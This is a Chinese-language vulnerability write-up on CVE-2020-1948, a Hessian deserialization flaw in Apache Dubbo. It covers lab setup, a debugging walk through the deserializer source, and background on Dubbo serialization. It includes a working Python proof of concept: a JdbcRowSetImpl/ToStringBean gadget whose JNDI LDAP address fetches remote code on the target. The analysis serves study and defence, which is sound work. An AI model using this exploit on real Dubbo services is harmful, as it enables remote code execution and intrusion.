[CVE-2020-1948] Apache Dubbo 反序列化漏洞分析


[CVE-2020-1948] Apache Dubbo 反序列化漏洞分析

簡介

Dubbo 是一款高性能、輕量級的開源 Java RPC 框架,它提供了三大核心能力:面向接口的遠程方法調用,智能容錯和負載均衡,以及服務自動注冊和發現。

POC

https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html

影響版本

  • Dubbo 2.7.0 to 2.7.6
  • Dubbo 2.6.0 to 2.6.7
  • Dubbo all 2.5.x versions (not supported by official team any longer)

環境搭建

https://github.com/apache/dubbo-spring-boot-project

下載 2.7.6 版本,用 IDEA 打開 dubbo-spring-boot-samples 文件夾,在provider-sample文件夾下的 pom 里添加:

        <dependency>
 <groupId>com.rometools</groupId>  <artifactId>rome</artifactId>  <version>1.7.0</version>  </dependency> 

maven 開始運行 springboot。

漏洞分析

python 的 poc

# -*- coding: utf-8 -*-
#pip3 install dubbo-py from dubbo.codec.hessian2 import Decoder,new_object from dubbo.client import DubboClient  client = DubboClient('127.0.0.1', 12345)  JdbcRowSetImpl=new_object(  'com.sun.rowset.JdbcRowSetImpl',  dataSource="ldap://127.0.0.1:8087/Exploit",  strMatchColumns=["foo"]  ) JdbcRowSetImplClass=new_object(  'java.lang.Class',  name="com.sun.rowset.JdbcRowSetImpl",  ) toStringBean=new_object(  'com.rometools.rome.feed.impl.ToStringBean',  beanClass=JdbcRowSetImplClass,  obj=JdbcRowSetImpl  )  resp = client.send_request_and_return_response(  service_name='cn.rui0',  method_name='rce',  args=[toStringBean]) 

發送 poc

org.apache.dubbo.remoting.RemotingException: Not found exported service: cn.rui0:1.0:12345in [org.apache.dubbo.spring.boot.demo.consumer.DemoService:1.0.0:12345], may be version or group mismatch , channel:consumer:/127.0.0.1:61624 --> provider: /127.0.0.1:12345, message:RpcInvocation [methodName=rce, parameterTypes=[class com.rometools.rome.feed.impl.ToStringBean], arguments=[], attachments={input=294, path=cn.rui0, dubbo=2.5.3, version=1.0}]
	at org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker(DubboProtocol.java:265) ~[dubbo-2.7.6.jar:2.7.6]
	at org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec.decodeInvocationArgument(CallbackServiceCodec.java:280) ~[dubbo-2.7.6.jar:2.7.6]
	at org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode(DecodeableRpcInvocation.java:161) [dubbo-2.7.6.jar:2.7.6]
	at org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode(DecodeableRpcInvocation.java:79) [dubbo-2.7.6.jar:2.7.6]
	at org.apache.dubbo.remoting.transport.DecodeHandler.decode(DecodeHandler.java:57) [dubbo-2.7.6.jar:2.7.6]
	at org.apache.dubbo.remoting.transport.DecodeHandler.received(DecodeHandler.java:44) [dubbo-2.7.6.jar:2.7.6]
	at org.apache.dubbo.remoting.transport.dispatcher.ChannelEventRunnable.run(ChannelEventRunnable.java:57) [dubbo-2.7.6.jar:2.7.6]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) [na:1.8.0_121]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) [na:1.8.0_121]
	at java.lang.Thread.run(Thread.java:745) [na:1.8.0_121]

根據報錯,其實已經把觸發的地方暴露了。

at org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode(DecodeableRpcInvocation.java:79) [dubbo-2.7.6.jar:2.7.6]開始跟。

跟到org\apache\dubbo\rpc\protocol\dubbo\DecodeableRpcInvocation.java139 行, 遇到 in 是 input 的內容,看下這個 readobject 是怎么寫的。

public <T> T readObject(Class<T> cls) throws IOException, ClassNotFoundException { return (T) mH2i.readObject(cls); }

mH2i.readObject(cls)繼續 readobject,mH2i的內容是

    public Object readObject(Class cl)  throws IOException {  return readObject(cl, null, null);  }   @Override  public Object readObject(Class expectedClass, Class<?>... expectedTypes) throws IOException {  if (expectedClass == null || expectedClass == Object.class)  return readObject();   int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();   switch (tag) {  case 'N':  return null;   case 'H': {  Deserializer reader = findSerializerFactory().getDeserializer(expectedClass);   boolean keyValuePair = expectedTypes != null && expectedTypes.length == 2;  // fix deserialize of short type  return reader.readMap(this  , keyValuePair ? expectedTypes[0] : null  , keyValuePair ? expectedTypes[1] : null);  }   case 'M': {  String type = readType();   // hessian/3bb3  if ("".equals(type)) {  Deserializer reader;  reader = findSerializerFactory().getDeserializer(expectedClass);   return reader.readMap(this);  } else {  Deserializer reader;  reader = findSerializerFactory().getObjectDeserializer(type, expectedClass);   return reader.readMap(this);  }  }   case 'C': {  readObjectDefinition(expectedClass);   return readObject(expectedClass);  }   case 0x60:  case 0x61:  case 0x62:  case 0x63:  case 0x64:  case 0x65:  case 0x66:  case 0x67:  case 0x68:  case 0x69:  case 0x6a:  case 0x6b:  case 0x6c:  case 0x6d:  case 0x6e:  case 0x6f: {  int ref = tag - 0x60;  int size = _classDefs.size();   if (ref < 0 || size <= ref)  throw new HessianProtocolException("'" + ref + "' is an unknown class definition");   ObjectDefinition def = (ObjectDefinition) _classDefs.get(ref);   return readObjectInstance(expectedClass, def);  }   case 'O': {  int ref = readInt();  int size = _classDefs.size();   if (ref < 0 || size <= ref)  throw new HessianProtocolException("'" + ref + "' is an unknown class definition");   ObjectDefinition def = (ObjectDefinition) _classDefs.get(ref);   return readObjectInstance(expectedClass, def);  }   case BC_LIST_VARIABLE: {  String type = readType();   Deserializer reader;  reader = findSerializerFactory().getListDeserializer(type, expectedClass);   Object v = reader.readList(this, -1);   return v;  }   case BC_LIST_FIXED: {  String type = readType();  int length = readInt();   Deserializer reader;  reader = findSerializerFactory().getListDeserializer(type, expectedClass);   boolean valueType = expectedTypes != null && expectedTypes.length == 1;   Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);   return v;  }   case 0x70:  case 0x71:  case 0x72:  case 0x73:  case 0x74:  case 0x75:  case 0x76:  case 0x77: {  int length = tag - 0x70;   String type = readType();   Deserializer reader;  reader = findSerializerFactory().getListDeserializer(null, expectedClass);   boolean valueType = expectedTypes != null && expectedTypes.length == 1;   // fix deserialize of short type  Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);   return v;  }   case BC_LIST_VARIABLE_UNTYPED: {  Deserializer reader;  reader = findSerializerFactory().getListDeserializer(null, expectedClass);   boolean valueType = expectedTypes != null && expectedTypes.length == 1;   // fix deserialize of short type  Object v = reader.readList(this, -1, valueType ? expectedTypes[0] : null);   return v;  }   case BC_LIST_FIXED_UNTYPED: {  int length = readInt();   Deserializer reader;  reader = findSerializerFactory().getListDeserializer(null, expectedClass);   boolean valueType = expectedTypes != null && expectedTypes.length == 1;   // fix deserialize of short type  Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);   return v;  }   case 0x78:  case 0x79:  case 0x7a:  case 0x7b:  case 0x7c:  case 0x7d:  case 0x7e:  case 0x7f: {  int length = tag - 0x78;   Deserializer reader;  reader = findSerializerFactory().getListDeserializer(null, expectedClass);   boolean valueType = expectedTypes != null && expectedTypes.length == 1;   // fix deserialize of short type  Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);   return v;  }   case BC_REF: {  int ref = readInt();   return _refs.get(ref);  }  }   if (tag >= 0)  _offset--;   // hessian/3b2i vs hessian/3406  // return readObject();  Object value = findSerializerFactory().getDeserializer(expectedClass).readObject(this);  return value;  } 

來到com\alibaba\com\caucho\hessian\io\Hessian2Input.java 可以看到 class com.rometools.rome.feed.impl.ToStringBean 就是期望類 expectedClass(可以看下 fastjson 期望類),

第二次循環到class java.lang.Class, 跟到com\alibaba\com\caucho\hessian\io\ClassDeserializer.java

    public Object readObject(AbstractHessianInput in, String[] fieldNames)  throws IOException {  int ref = in.addRef(null);   String name = null;   for (int i = 0; i < fieldNames.length; i++) {  if ("name".equals(fieldNames[i]))  name = in.readString();  else  in.readObject();  }   Object value = create(name);   in.setRef(ref, value);   return value;  } 

第三次 com\alibaba\com\caucho\hessian\io\ClassDeserializer.java

dubbo rpc原理

根本原因我們來學習一下 dubbo RPC 的原理。可以參考這篇文章: https://www.jianshu.com/p/93c00a391e09https://blog.csdn.net/zhuqiuhui/article/details/89463642

dubbo 支持多種序列化方式並且序列化是和協議相對應的。比如:dubbo 協議的 dubbo, hessian2,java,compactedjava,rmi 協議缺省為 java,以及 http 協議的 json 等。

  • dubbo 序列化:阿里尚未開發成熟的高效 java 序列化實現,阿里不建議在生產環境使用它
  • hessian2 序列化:hessian 是一種跨語言的高效二進制序列化方式。但這里實際不是原生的 hessian2 序列化,而是阿里修改過的 hessian lite,它是 dubbo RPC 默認啟用的序列化方式
  • json 序列化:目前有兩種實現,一種是采用的阿里的 fastjson 庫,另一種是采用 dubbo 中自己實現的簡單 json 庫,但其實現都不是特別成熟,而且 json 這種文本序列化性能一般不如上面兩種二進制序列化。
  • java 序列化:主要是采用 JDK 自帶的 Java 序列化實現,性能很不理想。

這四種主要序列化方式的性能從上到下依次遞減。對於 dubbo RPC 這種追求高性能的遠程調用方式來說,實際上只有 1、2 兩種高效序列化方式比較般配,而第 1 個 dubbo 序列化由於還不成熟,所以實際只剩下 2 可用,所以 dubbo RPC 默認采用 hessian2 序列化。

但 hessian 是一個比較老的序列化實現了,而且它是跨語言的,所以不是單獨針對 java 進行優化的。而 dubbo RPC 實際上完全是一種 Java to Java 的遠程調用,其實沒有必要采用跨語言的序列化方式(當然肯定也不排斥跨語言的序列化)。

本文使用 mdnice 排版


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM